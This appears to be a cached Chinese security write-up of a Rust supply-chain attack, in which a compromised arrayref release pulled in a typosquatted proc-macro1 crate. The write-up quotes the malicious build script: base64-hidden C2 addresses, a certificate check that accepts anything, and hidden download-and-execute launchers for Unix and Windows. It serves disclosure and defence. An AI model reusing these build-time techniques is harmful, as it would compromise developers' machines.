恶意Rust包Arrayref在构建时执行负载
摘要
流行的Rust包`arrayref`的一个受损版本包含了一个恶意的构建时负载,该负载在编译期间执行远程代码,影响了众多下游项目。
<a href="https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on-arrayref/" rel="nofollow">https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on...</a><p><a href="https://github.com/rustsec/advisory-db/issues/3161" rel="nofollow">https://github.com/rustsec/advisory-db/issues/3161</a>
查看缓存全文
缓存时间: 2026/08/20 16:15
# 恶意 Rust Crate arrayref 在构建时执行载荷
来源:https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/
## 摘要
2026年8月20日,广受欢迎的 Rust crate `arrayref` 出现了一个被入侵的版本,发布在 crates.io 上。版本 0.3.10 新增了一个名为 `proc-macro1` 的拼写错误仿冒依赖项,其构建脚本会在项目编译时下载并运行远程二进制文件。由于代码在构建时运行,因此仅编译引入了该恶意版本的项目就足以触发它。crates.io 团队随后移除了这些恶意版本。
## 涉及的包
正版的 `arrayref` 和 `append-only-vec` crate 由 `droundy` 维护,其账户似乎已被入侵。对应的 GitHub 仓库 `github.com/droundy/arrayref`、`github.com/droundy/append-only-vec` 以及整个 `github.com/droundy` 账户均返回 404,因此无法再检查上游代码。另一个账户 `dtolney` 发布了 `proc-macro1`,其用户名与 David Tolnay 的真实账户 `dtolnay` 非常相似。其元数据伪造了 `authors = ["David Tolnay <[email protected]>"]`,并将 `repository` 指向一个返回 404 的 `dtolnay/proc-macro1` 路径。
| Crate | 版本 | 发布者 | 状态 |
| :--- | :--- | :--- | :--- |
| `arrayref` | 0.3.10 | `droundy` (已入侵) | 恶意,已移除 |
| `internment` | 0.8.7 | `droundy` (已入侵) | 恶意,已移除 |
| `append-only-vec` | 0.1.9 | `droundy` (已入侵) | 恶意,已移除 |
| `proc-macro1` | 所有版本 | `dtolney` (冒名顶替) | 恶意拼写仿冒,整个 crate 已移除 |
| `proc-macro-en` | 所有版本 | - | 恶意依赖 crate,已移除 |
| `aovine` | 所有版本 | - | 恶意依赖 crate,已移除 |
| `arone` | 所有版本 | - | 恶意依赖 crate,已移除 |
| `aronenao` | 所有版本 | - | 恶意依赖 crate,已移除 |
| `tinymember` | 所有版本 | - | 恶意依赖 crate,已移除 |
注意,`proc-macro1` 并非 `proc-macro2`。宏作者依赖的真正 crate 是 `proc-macro2` (https://crates.io/crates/proc-macro2)。恶意的 `proc-macro1` 的 `src/` 是 `proc-macro2` 的真实副本,只是机械地进行了将 `proc-macro2` 替换为 `proc-macro1` 的查找替换。因此,构建在构建脚本运行期间仍能正常工作。
## 构建脚本做了什么
载荷位于 `proc-macro1` 1.0.107 的构建脚本中。它将服务器地址以 base64 片段形式存储,并在构建时重新组装它们,咨询公告中的引述如下:
```rust
// proc-macro1-1.0.107/build.rs (引自 rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
```
解码后,这些片段生成的载荷主机地址为 `hxxps://23[.]254[.]165[.]112:9089/`,命令与控制地址为 `23[.]254[.]165[.]112:443`。该脚本通过一个不验证任何证书的 TLS 连接获取架构特定的二进制文件,然后在脱离构建进程的情况下运行它。在 Unix 系统上,它会释放并运行 `/tmp/rust-setup`。在 Windows 上,它会在 `%TEMP%` 下写入一个 PowerShell 脚本和一个 VBScript 启动器,以隐藏方式启动它们,然后放弃子进程,这样编译器就不会等待它完成。
## 如何传播
账户所有者撤回了旧的 `arrayref` 版本 0.3.5 至 0.3.9。撤回一个 crate 会让 Cargo 打印“考虑更新到一个未被撤回的版本”的警告,这促使开发者选择唯一未被撤回的版本——恶意的 0.3.10。提交 RustSec 咨询公告的报告者 (https://github.com/rustsec/advisory-db/issues/3161) 指出,他们就是因此中招的。
`arrayref` 作为传递依赖被广泛使用。它通过 `tiny-skia`、`sctk-adwaita` 和 `winit` 深深嵌入常见的 Rust 依赖图中,这使其处于大多数基于 egui、eframe 和 iced 构建的 GUI 项目之下。该 crate 的总下载量约为 2.45 亿次(撰写时为 244,989,384 次),其中干净的 0.3.9 版本约占 1.52 亿次。这些数字衡量的是该 crate 的广泛使用程度,而非受影响构建的数量。
## 入侵指标
| 类型 | 指标 | 详情 |
| :--- | :--- | :--- |
| 网络 | `23.254.165.112:9089` | 载荷主机 (HTTPS) |
| 网络 | `23.254.165.112:443` | C2,作为 argv[1] 传递给载荷 |
| 文件 (Unix) | `/tmp/rust-setup` | 下载的可执行文件 |
| 文件 (Windows) | `%TEMP%\rust-setup.ps1` | 下载的 PowerShell 脚本 |
| 文件 (Windows) | `%TEMP%\rust-setup-launch.vbs` | VBScript 启动器 |
| 第二阶段文件名 | `rust-crate_0.1.0`, `_0.2.0`, `_0.3.0`, `_0.4.0` | 根据操作系统和架构选择 |
| 被移除的 crate 产物的 SHA256: | | |
| 产物 | 版本 | SHA256 |
| `arrayref` | 0.3.10 | `25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae` |
| `proc-macro1` | 1.0.107 | `61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4` |
| `proc-macro1` | 1.0.106 | `b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436` |
---
## 第二部分:技术分析
我们的技术分析涵盖了此次事件背后的两个 crate:`arrayref` 0.3.10 和 `proc-macro1` 1.0.107。`arrayref` 0.3.10 引入了一个名为 `proc-macro1` 的依赖项。恶意代码位于 `proc-macro1` 的构建脚本中,而非 `arrayref` 本身。
### arrayref 中的注入点
`arrayref` 是一个包含四个宏的小型 crate。直到 0.3.9 版本,它都没有构建脚本和运行时依赖。0.3.10 版本保留了该宏源代码,并在清单文件中添加了一行:
```toml
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]
version = "1.0.107"
```
这个 `[dependencies.proc-macro1]` 条目足以引入恶意 crate。要求 `1.0.107` 是一个补丁范围,由于只发布过 1.0.106 和 1.0.107,它解析为恶意的 1.0.107。该 crate 自身的 `src/lib.rs` 是普通的宏代码,例如 `array_ref!` 宏:
```rust
#[macro_export]
macro_rules! array_ref {
($arr:expr, $offset:expr, $len:expr) => {{
{
#[inline]
const unsafe fn as_array(slice: &[T]) -> &[T; $len] {
&*(slice.as_ptr() as *const [_; $len])
}
let offset = $offset;
let slice = &$arr[offset..offset + $len];
#[allow(unused_unsafe)]
unsafe {
as_array(slice)
}
}
}};
}
```
`arrayref` 源代码中没有任何地方引用 `proc-macro1`,也不需要引用。Cargo 会构建所有声明的非可选依赖项,无论代码是否使用它。因此,仅清单条目就使得当项目引入 `arrayref` 0.3.10 时,Cargo 就会获取并构建 `proc-macro1`,而构建它会运行恶意的构建脚本。
### proc-macro1 是 proc-macro2 的重命名副本
`proc-macro1` 的 `src/` 是 proc-macro2 经过机械查找替换(将 `proc-macro2` 替换为 `proc-macro1`)后的结果。这种重命名深入到了文档链接甚至复制的问题引用中,例如 `src/lib.rs` 中的 `html_root_url = "https://docs.rs/proc-macro1/1.0.107"` 和 `src/fallback.rs` 中的 `github.com/dtolnay/proc-macro1/issues/235` 链接。由于库代码是真正的 proc-macro2,该 crate 可以作为替代品工作。这使得恶意 crate 在正常构建过程中更不易被察觉。
该包的元数据伪造了身份:
```toml
authors = ["David Tolnay <[email protected]>"]
repository = "https://github.com/dtolnay/proc-macro1"
```
电子邮件 `[email protected]` 不是 David Tolnay 的,`dtolnay/proc-macro1` 仓库返回 404。可疑的差异在于构建依赖项,而真正的 proc-macro2 没有这些:
```toml
[build-dependencies.base64]
version = "0.22"
[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false
[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false
```
这三个 crate 为构建脚本提供了 base64 解码、TLS 栈和 HTTP 客户端。这些依赖项对于一个 token 解析库来说是不寻常的,恶意构建脚本使用了它们。
### 构建脚本载荷
构建脚本将服务器地址拆分为 base64 片段,并在编译时重新构建它,因此原始字符串从未出现在源代码中:
```rust
const SRC_URL_PARTS: &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="];
const END_URL_PARTS: &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"];
```
解码后,`SRC_URL_PARTS` 是 `hxxps://23[.]254[.]165[.]112:9089/`,`END_URL_PARTS` 是 `23[.]254[.]165[.]112:443`。下载使用了一个接受任何证书的 TLS 客户端。`AcceptAll` 验证器在 `rustls` 的 `ServerCertVerifier` trait 的每次证书和签名检查中都返回成功,因此使用原始 IP 的自签名证书也能通过:
```rust
impl ServerCertVerifier for AcceptAll {
fn verify_server_cert(/* ... */) -> Result {
Ok(ServerCertVerified::assertion())
}
// verify_tls12_signature 和 verify_tls13_signature 也无条件返回成功
}
```
构建脚本根据操作系统和架构选择要获取的二进制文件。它支持四个目标,并在其他情况下中止构建:
```rust
fn link_suffix() -> &'static str {
match (std::env::consts::OS, std::env::consts::ARCH) {
("linux", "x86_64") => "rust-crate_0.1.0",
("windows", "x86_64") => "rust-crate_0.2.0",
("macos", "x86_64") => "rust-crate_0.3.0",
("macos", "aarch64") => "rust-crate_0.4.0",
(_, _) => panic!("unsupported platform"),
}
}
```
下载和执行在 `main` 函数内运行,位于特性门控和后续真正的 proc-macro2 配置逻辑之前。没有特性标志或环境检查保护它,因此它在每个支持平台的构建上都会运行:
```rust
// proc-macro1-1.0.107/build.rs (在 main 内部)
let url = src_download_url();
let bytes = download_bytes(&url);
match std::env::consts::OS {
"linux" | "macos" => run_unix_payload(bytes),
"windows" => run_windows_payload(bytes),
os => panic!("unsupported OS: {os}"),
}
```
在 Unix 上,构建脚本将字节写入 `/tmp/rust-setup`,将文件标记为可执行文件,并在不等待的情况下生成它,将命令与控制地址作为第一个参数传递。它将所有标准流发送到空设备:
```rust
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}
```
在 Windows 上,获取的字节是一个 PowerShell 脚本。构建脚本将它们写入 `%TEMP%\rust-setup.ps1`,并通过 `wscript.exe` 下的 VBScript 启动器启动它们,源代码中的一个注释解释了原因:
```rust
// 通过 WScript 执行 ShellExecute 可以绕过 Cargo 的作业对象;否则生成的子进程会
// 让构建脚本(和 `cargo build`)等待它们退出。
let vbs = format!(
r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
script = script_path.display(),
end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
.args(["//B", "//Nologo", launcher_str])
.creation_flags(CREATE_NO_WINDOW)
.spawn()
.expect("failed to spawn wscript launcher");
std::mem::forget(child);
```
启动器以隐藏方式运行,且不等待进程。源代码注释指出,通过 WScript 路由正是绕过 Cargo 作业对象的原因,因此 PowerShell 在构建完成后仍会继续运行。最后的 `std::mem::forget` 泄漏了 `wscript` 子进程句柄,使其析构函数永远不会运行。这共同将载荷与 Cargo 分离,允许载荷在不阻塞 Cargo 构建的情况下继续运行。
相似文章
Rust 供应链攻击:arrayref 0.3.10 与 proc-macro1 拼写劫持
一次供应链攻击妥协了 Rust 的 crate arrayref,添加了恶意依赖,该依赖在构建时执行代码,影响了众多下游项目。
使用 Cackle 提高 Rust 供应链攻击难度(2023)
David Lattimore 介绍了 Cackle,这是一个通过使用访问控制列表(ACL)限制依赖项行为来帮助防止 Rust 供应链攻击的工具,从而降低通过第三方 crate 引入恶意代码的风险。
Bun Rust 重写:"代码库未通过基本 Miri 检查,在安全 Rust 中允许未定义行为"
Bun 的 Rust 重写未通过基本 Miri 检查,在安全 Rust 中导致未定义行为,引发了严重的安全担忧。
事故报告:CVE-2024-YIKES
一份讽刺性的事故报告描述了一场灾难性的多阶段供应链攻击,该攻击始于一个被篡改的 JavaScript 依赖项,并在 Rust 和 Python 生态系统中蔓延,最终因一只挖矿蠕虫的“意外介入”而得以解决。
我用Rust构建了一个自托管的上下文赌博机装置,并部署在一个实时的AI交易产品上。在发现运行时错误之前,先找到了自己配置中的两个错误。
宣布两个开源Rust项目:Lycan(一种用于上下文赌博机的图执行语言)和Syntra(一个自托管的Docker设备,用于服务Lycan胶囊)。作者在自己的实时AI交易产品上自用测试,发现数据管道错误(而非算法问题)主导了适配工作。